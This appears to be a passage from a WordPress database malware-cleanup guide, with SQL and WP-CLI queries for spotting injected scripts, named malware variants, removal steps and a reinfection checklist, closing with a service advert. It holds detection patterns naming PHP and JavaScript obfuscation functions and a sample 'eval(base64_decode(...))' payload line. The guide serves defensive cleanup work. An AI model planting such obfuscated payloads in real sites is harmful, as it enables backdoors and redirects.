Query 12 — Date-based forensics (when did the spam start?)

If you know roughly when the site got hacked, this is gold:

SELECT ID, post_title, post_status, post_type, post_date
FROM wp_posts
WHERE post_date > '2026-04-01 00:00:00'
  AND post_status = 'publish'
ORDER BY post_date ASC;

Adjust the date. Anything mass-created on the same day with weird titles is your spam batch. Don’t blanket-delete — review first, because legitimate scheduled posts can land on the same date.

Query 13 — Postmeta spam (Yoast / RankMath SEO poisoning)

SELECT post_id, meta_key, meta_value
FROM wp_postmeta
WHERE meta_value LIKE '%<script%'
   OR meta_value LIKE '%<iframe%'
   OR meta_value LIKE '%base64_decode%'
   OR meta_value LIKE '%http://%.tk%'
   OR meta_value LIKE '%http://%.xyz%';

Attackers sometimes overwrite _yoast_wpseo_title or _yoast_wpseo_metadesc so Google indexes hacked titles even when your live page looks fine.

---

Step 4: Detect Obfuscated Payloads (eval / base64 / gzinflate)

Real malware almost never sits in plaintext. It wraps itself in one or more of these PHP functions to dodge static signature scanners:

• eval( — executes a string as PHP
• base64_decode / base64_encode
• gzinflate / gzuncompress / gzdecode
• str_rot13
• str_replace (used in chained obfuscation to rebuild a function name like e+v+a+l)
• preg_replace with the /e modifier (deprecated, but still seen in old payloads)
• assert(
• create_function

And on the JavaScript side:

• String.fromCharCode
• atob(
• unescape(
• document.write
• eval(

Query 14 — Cross-table obfuscation sweep

Run each block separately. They cover the four tables where I most often find obfuscated payloads:

-- wp_options
SELECT option_id, option_name
FROM wp_options
WHERE option_value REGEXP '(eval\\(|base64_decode|gzinflate|str_rot13|fromCharCode|atob\\()';

-- wp_posts
SELECT ID, post_title, post_type
FROM wp_posts
WHERE post_content REGEXP '(eval\\(|base64_decode|gzinflate|fromCharCode|atob\\()';

-- wp_postmeta
SELECT meta_id, post_id, meta_key
FROM wp_postmeta
WHERE meta_value REGEXP '(eval\\(|base64_decode|gzinflate|fromCharCode|atob\\()';

-- wp_usermeta
SELECT umeta_id, user_id, meta_key
FROM wp_usermeta
WHERE meta_value REGEXP '(eval\\(|base64_decode|gzinflate|fromCharCode|atob\\()';

Decoding what you find

If the payload looks like this:

eval(base64_decode('aWYoaXNzZXQoJF9DT09LSUVbJ2F1dGhfdG9rZW4nXSkpey4uLn0='));

Don’t run it. Decode the inner string in a sandbox:

php -r "echo base64_decode('aWYoaXNzZXQoJF9DT09LSUVbJ2F1dGhfdG9rZW4nXSkpey4uLn0=');"

That output is the actual malware logic — usually a cookie-triggered backdoor, a redirect rule, or a remote-code-execution shell. Once you see it in plaintext, you’ll recognize the family: it’s almost always a webshell or PHP backdoor variant.

For deeper decoding workflow on JavaScript redirect malware, this walks through it end to end: The complete guide to JavaScript redirect malware detection, decoding, and removal.

---

Step 5: Match Against Named Malware Variants

This is where most generic guides stop and where 2026’s actual infections live. If you can recognize the variant, you can clean it in minutes instead of days.

Monit / wp-vcd hack signature

This one parks a row called default_mont_options in wp_options along with a fake “Monitization” plugin. Detection query:

SELECT * FROM wp_options
WHERE option_name IN (
  'default_mont_options',
  'ad_code',
  'hide_admin',
  'hide_logged_in',
  'display_ad',
  'search_engines',
  'auto_update',
  'ip_admin',
  'cookies_admin',
  'logged_admin',
  'log_install'
);

If any of those rows return data, you have the Monit/wp-vcd family. Removal:

DELETE FROM wp_options
WHERE option_name IN (
  'default_mont_options', 'ad_code', 'hide_admin', 'hide_logged_in',
  'display_ad', 'search_engines', 'auto_update', 'ip_admin',
  'cookies_admin', 'logged_admin', 'log_install'
);

Then file-side: delete monit.php, any apu.php, the Monitization plugin folder, and any admins_ip.txt in the plugins directory. Without the file removal, the rows regenerate on the next page load.

wp-compat backdoor signature

The wp-compat malware leaves a marker option _pre_user_id that’s used to regenerate a hidden admin every time the site loads:

SELECT * FROM wp_options WHERE option_name = '_pre_user_id';

Full writeup with the matching plugin folder pattern: WP-Compat plugin: the hidden backdoor in your WordPress site.

Greek text hack signature

Encoded Greek-character payloads sitting in wp_options or theme settings. Walked through here: Weird Greek text code hidden in your WordPress database.

HSEO / fake “I’m not a robot” malware

Stores a redirect trigger in options + posts to fire a fake CAPTCHA popup that pushes ClickAllow notifications. Pattern + cleanup: HSEO fake “I’m not a robot” malware.

Fetch / sengatanlebah / jasabacklink spam

Indonesian SEO spam family. Detection + removal: How to remove fetch malware from the WordPress database.

JS redirector targeting mobile

Stores a JavaScript redirect in options/postmeta that only fires on mobile user agents — desktop owners never see it, so they assume the site is fine. Full anatomy: Anatomy of a sophisticated mobile-targeted JavaScript trojan.

Backupdb_ prefix tables (Sucuri’s “clever” SEO spam)

Some attackers create parallel tables with a backupdb_wp_ prefix to store spam posts that get filtered into responses on the fly. Detection:

SHOW TABLES LIKE 'backupdb_%';
SHOW TABLES LIKE '%_lstat';
SHOW TABLES;

Anything you don’t recognize as belonging to a plugin you installed gets dropped (after you confirm by inspecting the table contents).

---

Step 6: WP-CLI Alternative (Faster on Large Sites)

If you have SSH and the database is huge, WP-CLI is dramatically faster than phpMyAdmin. Some commands I run on every cleanup:

# Search all tables for a malicious string
wp db search '<script' --all-tables

# Search with a regex for obfuscation patterns
wp db search 'eval\(|base64_decode|gzinflate|fromCharCode' --regex --all-tables

# List all admin users
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered

# Delete a confirmed bad admin and reassign content
wp user delete 42 --reassign=1

# Run an arbitrary cleanup query
wp db query "DELETE FROM wp_options WHERE option_name = 'default_mont_options';"

# Export DB before cleanup
wp db export pre-cleanup-$(date +%F).sql

# Reset all auth keys/salts to invalidate stolen cookies
wp config shuffle-salts

wp config shuffle-salts is the single most underrated command in WordPress security. It rotates all eight authentication keys, which immediately logs out every session — including the attacker’s.

---

Step 7: Safely Removing What You Found

Removal is where rookies break sites. Three rules I never violate:

Rule 1: Never run a destructive query you haven’t first run as a SELECT. Convert your DELETE or UPDATE to a SELECT with the same WHERE clause. Confirm the rows. Then convert back.

Rule 2: Use search-and-replace tools for content cleanup, not raw SQL UPDATE. Better Search Replace and WP-CLI’s wp search-replace handle serialized data correctly. A naive UPDATE wp_postmeta SET meta_value = REPLACE(...) will corrupt any serialized PHP array and break Yoast settings, Elementor data, and ACF fields.

# Dry-run first
wp search-replace 'evil-domain.tld' '' --dry-run --all-tables --report-changed-only

# Then execute
wp search-replace 'evil-domain.tld' '' --all-tables --report-changed-only

Rule 3: Save the malicious payload to a text file before deleting. If the site reinfects, the same payload almost always returns. Having the original on hand makes the second cleanup 10x faster.

---

Step 8: After Cleanup — The Anti-Reinfection Checklist

Files clean + database clean is not “done.” Without this list, the malware comes back within days:

• Rotate the WordPress admin password (use 20+ random characters)
• Rotate the database password in wp-config.php
• Rotate hosting/cPanel password
• Rotate FTP/SFTP credentials
• Run wp config shuffle-salts to invalidate stolen sessions
• Force-logout every user: wp user session destroy --all-users
• Audit wp-content/mu-plugins/ (drop-in plugins load before everything else)
• Audit .htaccess for redirect rules — see The ultimate guide to removing .htaccess malware
• Check WordPress cron for rogue events
• Reinstall WordPress core, themes, plugins from official sources (don’t trust the existing files)
• Update everything to latest versions
• Submit a Search Console review if Google flagged the site — see How to remove your website from a blacklist

The full version of this checklist, with the rationale behind each step, is here: What to do after fixing a hacked WordPress site.

---

Common Mistakes I See on Botched Cleanups

Almost every “the cleanup didn’t work” call I take involves at least one of these:

1. Cleaning files but skipping the database. The reason this guide exists.
2. Deleting suspicious users via DELETE FROM wp_users. Orphans the meta and breaks content authorship. Use wp user delete.
3. Using UPDATE ... REPLACE on serialized data. Corrupts plugin settings. Use wp search-replace instead.
4. Not rotating salts. The attacker’s auth cookies still work. They walk back in.
5. Restoring an old “clean” backup without scanning it. Most backups are already infected — sites are usually compromised weeks before the owner notices.
6. Trusting the security plugin’s “clean” report. Wordfence, Sucuri, MalCare — none of them deeply scan database content. They scan files. The report is true and irrelevant at the same time.

---

FAQ: WordPress Database Malware

Can WordPress malware live entirely in the database?

Yes, and it’s increasingly common. Modern attacks store the entire payload in wp_options, wp_postmeta, or custom plugin tables, and use only legitimate WordPress code paths to execute it. File scanners report nothing wrong because nothing’s wrong with the files.

Why does my site still redirect after I deleted all suspicious files?

Because the redirect trigger is almost certainly stored in wp_options (autoloaded), in a header/footer settings field, or in postmeta. Run Query 4 above. 9 out of 10 times you’ll find it.

Which WordPress tables get hit most often?

In order: wp_options, wp_posts, wp_postmeta, wp_users + wp_usermeta, then plugin-specific tables (Yoast indexables, WooCommerce, code snippet plugins, page builders).

Is it safe to run DELETE queries directly in phpMyAdmin?

Only after you’ve (a) backed up the full database, (b) run the same WHERE clause as a SELECT first to verify the rows, and (c) confirmed the payload is genuinely malicious and not a quirky plugin setting. When in doubt, don’t.

Why does Google still show spam URLs after I cleaned the database?

Two reasons. One, Google’s index lags reality by days to weeks — old URLs stay cached. Two, your XML sitemap may still list the spam URLs. After cleanup, regenerate the sitemap, request reindexing in Search Console, and submit a Manual Action review if the site was flagged.

Can I just restore a backup instead of cleaning manually?

Only if the backup predates the infection — which most don’t. Sites are commonly compromised weeks before detection. Always scan the backup with the queries above before restoring it. And patch the original entry point first, or you’ll be reinfected within hours.

Do security plugins like Wordfence or MalCare clean the database?

Partially. Wordfence’s “Database scan” looks at a subset of tables and known signatures. MalCare scans more aggressively. Neither catches custom-named options, fresh malware variants, or sophisticated obfuscation reliably. Manual review still wins on novel infections.

How long does a database malware cleanup take?

For a single-variant infection on a small site, 1–3 hours. For a multi-variant infection on a large site (especially WooCommerce with 10K+ products), 6–12 hours. The longest cleanup I’ve done removed 242,000 Japanese spam pages — covered in this case study.

---

What Real Clients Say

“My website was suffering from some redirect malware. MD was able to take care of the problem for a reasonable fee. For me, he was a lifesaver. I will certainly go to him first should something like that happen again.” — Kendall Miller, Founder

“I’m very satisfied with MD Pabel service. He can save my site from hackers, and remove all malware attacks. Highly Recommended.” — Hassan Infinkey, eCommerce Owner

“Thanks for giving me a great support — you are a very nice team.” — Usama Javed, WordPress Agency

---

Need Manual Database Malware Cleanup?

If your site is still redirecting, showing pharma in Google, or bringing back hidden admins after every “clean” — you’ve found the limit of what file-based scanners can do. The fix is human eyes on the database, with the SQL playbook above and 4,500+ cleanups of pattern recognition behind it.

I clean WordPress sites by hand. No risky automated DELETE scripts, no false positives, no broken serialized data. Get expert WordPress malware removal →

Or if you’re just researching: my deeper guides on the specific variants are linked throughout this page. Start with how to detect WordPress malware and the complete malware removal expert guide.